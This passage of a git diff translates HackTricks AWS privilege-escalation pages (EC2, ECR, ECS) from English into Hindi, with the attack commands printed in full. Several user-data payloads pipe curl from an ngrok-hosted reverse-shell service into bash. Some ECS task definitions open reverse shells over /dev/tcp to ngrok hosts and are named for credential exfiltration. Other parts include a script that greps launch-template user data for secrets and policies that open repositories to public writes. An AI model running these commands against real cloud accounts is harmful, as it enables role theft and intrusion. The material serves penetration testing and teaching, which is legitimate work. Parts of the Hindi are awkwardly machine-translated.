जुड़ी हुई हैं। ```bash aws ec2 run-instances \ - --image-id ami-07fde2ae86109a2af \ - --instance-type t2.micro \ - --iam-instance-profile \ - --count 1 --key-name pwned \ - --user-data "file:///tmp/asd.sh" +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) # The EC2 instance profile needs basic ECS access @@ -64,7 +59,6 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` - To learn how to **force ECS services to be run** in this new EC2 instance check: {{#ref}} @@ -79,7 +73,6 @@ If you **cannot create a new instance** but has the permission `ecs:RegisterCont Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. - ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` +यदि **इंस्टेंस प्रोफ़ाइल में एक भूमिका है** और हमलावर **इसे हटा नहीं सकता**, तो एक और समाधान है। वह **एक ऐसी इंस्टेंस प्रोफ़ाइल खोज सकता है जिसमें कोई भूमिका नहीं है** या **एक नई बना सकता है** (`iam:CreateInstanceProfile`), **उस इंस्टेंस प्रोफ़ाइल में भूमिका जोड़ सकता है** (जैसा कि पहले चर्चा की गई थी), और **समझौता की गई इंस्टेंस प्रोफ़ाइल को एक समझौता की गई इंस्टेंस से जोड़ सकता है:** -If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** - -- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \* - +- यदि इंस्टेंस **के पास कोई इंस्टेंस** प्रोफ़ाइल नहीं है (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क (आपको एक AWS EC2 उदाहरण को समझौता करना होगा और कुछ अतिरिक्त अनुमति या विशिष्ट उदाहरण प्रोफ़ाइल स्थिति होनी चाहिए)। ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. - -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \* +इन अनुमतियों के साथ, एक उदाहरण से जुड़े उदाहरण प्रोफ़ाइल को बदलना संभव है, इसलिए यदि हमले ने पहले से ही एक उदाहरण तक पहुंच प्राप्त कर ली है, तो वह इससे जुड़े उदाहरण प्रोफ़ाइल भूमिकाओं के लिए क्रेडेंशियल चुराने में सक्षम होगा। +- यदि इसमें **एक उदाहरण प्रोफ़ाइल है**, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते हैं** \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \* - +- या **बदले** **इंस्टेंस प्रोफाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क (आपको एक AWS EC2 उदाहरण को समझौता करना होगा और कुछ अतिरिक्त अनुमति या विशिष्ट उदाहरण प्रोफ़ाइल स्थिति होनी चाहिए)। ### `ec2:RequestSpotInstances`,`iam:PassRole` -An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ -Once the instance is run, he can **steal the IAM role**. - +एक हमलावर जिसके पास अनुमतियाँ **`ec2:RequestSpotInstances`और`iam:PassRole`** हैं, वह **एक स्पॉट उदाहरण** **अनुरोध** कर सकता है जिसमें **EC2 भूमिका संलग्न** है और **उपयोगकर्ता डेटा** में **रिवर्स शेल** है।\ +एक बार जब उदाहरण चलाया जाता है, तो वह **IAM भूमिका** को **चुरा** सकता है। ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 request-spot-instances \ - --instance-count 1 \ - --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` - ### `ec2:ModifyInstanceAttribute` -An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**. - -Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**. +एक हमलावर जिसके पास **`ec2:ModifyInstanceAttribute`** है, वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए बना सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है। +ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`**। ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH" aws ec2 stop-instances --instance-ids $INSTANCE_ID aws ec2 modify-instance-attribute \ - --instance-id="$INSTANCE_ID" \ - --attribute userData \ - --value file://$TEXT_PATH +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH aws ec2 start-instances --instance-ids $INSTANCE_ID ``` - -**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance. +**संभावित प्रभाव:** किसी भी EC2 IAM भूमिका पर सीधे प्रिवेस्क। ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. - +एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **उपयोगकर्ता डेटा** में **rev shell** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** **जिसका उपयोग** उस **लॉन्च टेम्पलेट** द्वारा किया जा रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का उपयोग करने के लिए **कॉन्फ़िगर** किया गया है, वह **उस टेम्पलेट का उपयोग करके** **इंस्टेंस को फिर से चलाएगा** और **rev shell** को निष्पादित करेगा। ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 create-launch-template-version \ - --launch-template-name bad_template \ - --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" aws ec2 modify-launch-template \ - --launch-template-name bad_template \ - --default-version 2 +--launch-template-name bad_template \ +--default-version 2 ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**संभावित प्रभाव:** एक अलग EC2 भूमिका में सीधे प्रिवेस्क। ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**. - +एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **यूजर डेटा** के अंदर **रिवर्स शेल** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और रिवर्स शेल का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है। ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ - --launch-configuration-name bad_config \ - --image-id ami-0c1bc246476a5572b \ - --instance-type t3.micro \ - --iam-instance-profile EC2-CloudWatch-Agent-Role \ - --user-data "$REV" +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ - --auto-scaling-group-name bad_auto \ - --min-size 1 --max-size 1 \ - --launch-configuration-name bad_config \ - --desired-capacity 1 \ - --vpc-zone-identifier "subnet-e282f9b8" +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**संभावित प्रभाव:** एक अलग EC2 भूमिका में सीधे प्रिवेस्क। ### `!autoscaling` -The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc). +अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेजेस को बढ़ाने के लिए पर्याप्त नहीं हैं** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियों की आवश्यकता है `iam:PassRole` और `ec2:RunInstances`** (जो एक ज्ञात प्रिवेस्क है)। ### `ec2-instance-connect:SendSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges. - +एक हमलावर जिसके पास अनुमति है **`ec2-instance-connect:SendSSHPublicKey`** एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेजेस को बढ़ा सकता है। ```bash aws ec2-instance-connect send-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --instance-os-user "ec2-user" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances. +**संभावित प्रभाव:** चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे प्रिवेस्क। ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**. - -In order to connect to the serial port you also **need to know the username and password of a user** inside the machine. +जिस हमलावर के पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है, वह **एक धारावाहिक कनेक्शन में ssh कुंजी जोड़ सकता है**। यदि धारावाहिक सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** की आवश्यकता होती है। +धारावाहिक पोर्ट से कनेक्ट करने के लिए आपको **मशीन के अंदर एक उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड जानना भी आवश्यक है।** ```bash aws ec2 enable-serial-console-access aws ec2-instance-connect send-serial-console-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --serial-port 0 \ - --region "eu-west-1" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` +इस तरीके से privesc के लिए ज्यादा उपयोगी नहीं है क्योंकि आपको इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना होगा। -This way isn't that useful to privesc as you need to know a username and password to exploit it. - -**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances. +**संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य नहीं) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc। ### `describe-launch-templates`,`describe-launch-template-versions` -Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates: - +चूंकि लॉन्च टेम्पलेट्स में संस्करणन है, **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** अनुमतियों वाला एक हमलावर इनका उपयोग संवेदनशील जानकारी, जैसे उपयोगकर्ता डेटा में मौजूद क्रेडेंशियल्स, खोजने के लिए कर सकता है। इसे पूरा करने के लिए, निम्नलिखित स्क्रिप्ट उपलब्ध लॉन्च टेम्पलेट्स के सभी संस्करणों के माध्यम से लूप करती है: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do - echo "[*] Analyzing $i" - aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata - do - echo "VersionNumber: $version" - echo "$userdata" | base64 -d - echo - done | grep -iE "aws_|password|token|api" +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" done ``` - In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS. -**Potential Impact:** Direct privilege escalation to IAM user(s). +**संभावित प्रभाव:** IAM उपयोगकर्ता(ओं) के लिए सीधे विशेषाधिकार वृद्धि। -## References +## संदर्भ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index fd4686edb..f5df05959 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,21 +6,21 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images. +एक हमलावर जिसके पास **`ecr:GetAuthorizationToken`** और **`ecr:BatchGetImage`** है, वह ECR में लॉगिन कर सकता है और इमेज डाउनलोड कर सकता है। -For more info on how to download images: +इमेज डाउनलोड करने के तरीके के बारे में अधिक जानकारी के लिए: {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**संभावित प्रभाव:** ट्रैफिक में संवेदनशील जानकारी को इंटरसेप्ट करके अप्रत्यक्ष प्रिवेस्क। ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used. +एक हमलावर जिसके पास ये सभी अनुमतियाँ हैं, **ECR में लॉगिन कर सकता है और इमेज अपलोड कर सकता है**। यह उन वातावरणों में प्रिविलेज बढ़ाने के लिए उपयोगी हो सकता है जहाँ उन इमेज का उपयोग किया जा रहा है। -To learn how to upload a new image/update one, check: +नई इमेज अपलोड करने/एक को अपडेट करने के तरीके के लिए, देखें: {{#ref}} ../aws-services/aws-eks-enum.md @@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check: ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -Like the previous section, but for public repositories. +पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए। ### `ecr:SetRepositoryPolicy` -An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\ -For example, in this example read access is given to everyone. - +एक हमलावर जिसके पास यह अनुमति है, वह **रिपॉजिटरी** **नीति** को **बदल** सकता है ताकि वह खुद (या यहां तक कि सभी) को **पढ़ने/लिखने की पहुँच** दे सके।\ +उदाहरण के लिए, इस उदाहरण में सभी को पढ़ने की पहुँच दी गई है। ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - -Contents of `my-policy.json`: - +`my-policy.json` की सामग्री: ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "allow public pull", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - ### `ecr-public:SetRepositoryPolicy` -Like the previoous section, but for public repositories.\ -An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges. - +पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए।\ +एक हमलावर **रिपॉजिटरी नीति को संशोधित** कर सकता है एक ECR सार्वजनिक रिपॉजिटरी की ताकि अनधिकृत सार्वजनिक पहुंच प्रदान की जा सके या अपनी विशेषाधिकारों को बढ़ा सके। ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "MaliciousPublicRepoPolicy", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr-public:GetDownloadUrlForLayer", - "ecr-public:BatchGetImage", - "ecr-public:BatchCheckLayerAvailability", - "ecr-public:PutImage", - "ecr-public:InitiateLayerUpload", - "ecr-public:UploadLayerPart", - "ecr-public:CompleteLayerUpload", - "ecr-public:DeleteRepositoryPolicy" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] }' > malicious_public_repo_policy.json # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` - -**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images. +**संभावित प्रभाव**: ECR सार्वजनिक भंडार तक अनधिकृत सार्वजनिक पहुंच, जिससे कोई भी उपयोगकर्ता छवियों को पुश, पुल या हटा सकता है। ### `ecr:PutRegistryPolicy` -An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**. - +इस अनुमति के साथ एक हमलावर **पॉलिसी** को **बदल** सकता है ताकि वह अपने लिए, अपने खाते (या यहां तक कि सभी के लिए) **पढ़ने/लिखने की पहुंच** प्रदान कर सके। ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 4988270ab..9108af6f3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -More **info about ECS** in: +ECS के बारे में अधिक **जानकारी**: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,185 +12,173 @@ More **info about ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**. - +एक हमलावर `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमति का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** **बनाने** में सक्षम हो सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स को चुराता है और **इसे चलाता है**। ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" # Run task definition aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to a different ECS role. +**संभावित प्रभाव:** एक अलग ECS भूमिका में सीधे प्रिवेस्क। ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\ -However, in this case, a container instance to run the malicious task definition need to be. - +पिछले उदाहरण की तरह, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।\ +हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर उदाहरण की आवश्यकता होगी। ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" aws ecs start-task --task-definition iam_exfiltration \ - --container-instances +--container-instances # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to any ECS role. +**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क। ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.** - +पिछले उदाहरण की तरह, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाने के लिए कम से कम 1 कार्य चलाते हुए एक नई सेवा बनाकर।** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn "$ECS_ROLE_ARN" \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" # Run the task creating a service aws ecs create-service --service-name exfiltration \ - --task-definition iam_exfiltration \ - --desired-count 1 \ - --cluster "$CLUSTER_ARN" \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", 